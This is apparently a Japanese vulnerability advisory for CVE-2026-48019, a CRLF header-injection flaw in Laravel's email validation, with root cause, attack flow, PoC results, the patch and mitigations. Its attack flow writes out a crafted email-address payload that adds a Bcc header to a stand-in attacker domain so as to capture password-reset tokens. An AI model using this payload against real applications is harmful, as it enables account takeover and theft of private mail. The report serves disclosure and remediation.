CVE-2026-48019 HTML Report
Laravel Framework CRLF Injection
Laravel Frameworkのデフォルトメールアドレス検証ルールにおいて、CRLF文字(\r\n)の無効化が不十分。細工されたメールアドレス "admin\r\nBcc: hacker@evil.com"@target.com がバリデーションを通過し、Symfony Mime経由でSMTPヘッダーインジェクションを引き起こす。laravel/framework ≥12.60.0 / ≥13.10.0で修正済み。
概要
| CVSS v3.1 | 8.9 (High) |
|---|---|
| CVSS Vector | AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CVSS v4.0 | AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N |
| CWE | CWE-93 (Improper Neutralization of CRLF Sequences) |
| EPSS | 【情報不足】(FIRST EPSS APIに未登録) |
| CISA KEV | なし |
| 関連CVE | Symfony CVE-2026-45067 |
影響を受けるバージョン
| 製品 | 影響バージョン | 修正バージョン |
|---|---|---|
laravel/framework | < 12.60.0 | ≥ 12.60.0 |
laravel/framework | <= 13.9.0 | ≥ 13.10.0 |
symfony/mime (間接依存) | 修正前のバージョン | CVE-2026-45067修正版 |
根本原因
脆弱性は2つのレイヤーの相互作用に存在する。RFC 5322ではメールアドレスのローカルパートをダブルクォートで囲む場合、特殊文字(CRLF含む)を含めることが許可されている。egulias/email-validatorのRFCValidationはこの仕様に準拠し、quoted-string内の\r\nを正当な文字として受け入れる。このアドレスがSymfony MimeのAddressコンストラクタに渡されると、SMTP送信時にCRLFがヘッダー終端として解釈され、意図しないヘッダーインジェクションが可能となる。
PHPのfilter_var(フィルター関数)はCRLFを拒否するが、Laravel 12.xのデフォルトemailルールはegulias/email-validatorを使用するため、この保護は適用されない。
攻撃フロー
POST /contact → email: "admin\r\nBcc: hacker@evil.com"@target.comRFCValidation → RFC 5322準拠: quoted-string内CRLFは正当 → PASSLaravel Mailer → Addressオブジェクト生成 → Symfony Mime → SMTP送信
RCPT TO:<"admin\r\nBcc: hacker@evil.com"@target.com>✅ admin@target.com にメール到着 ✅ hacker@evil.com にBCCコピー
✅ パスワードリセットトークン、機密情報の取得可能
PoC検証結果
Dockerコンテナ上で実際のLaravelフレームワークを使用してHTTP POST経由で検証。
| バージョン | CRLFペイロード | 通常メール | 判定 |
|---|---|---|---|
| Laravel 12.59.0 | PASS √ | PASS √ | ↑ 脆弱 |
| Laravel 12.60.0 | BLOCK × | PASS √ | ✅ 修正済み |
| Symfony Mime (最新) | BLOCK × | — | ✅ 修正済み |
検出方法
422 Error → 修正済み √ 200 OK → 脆弱 ↑
修正パッチ詳細
修正コミット: 96e9a66 by taylorotwell · 3ファイル + テスト2 / +105行, -15行
1. ValidatesAttributes.php — CRLFプリチェック追加
2. Address.php — コンストラクタでCRLFチェック
3. Message.php — 全アドレス処理メソッドを安全化
from(), to(), cc(), bcc() など全メソッドが ensureAddressIsSafe() ヘルパー経由にリファクタリング。
対策
composer require laravel/framework:^12.60.0 (12.x) / ^13.10.0 (13.x)
最優先
email:filter に変更'email' => 'required|email:filter' → PHPのfilter_varがCRLFをブロック
即座
if (preg_match('/[\r\n]/', $request->input('email')))
代替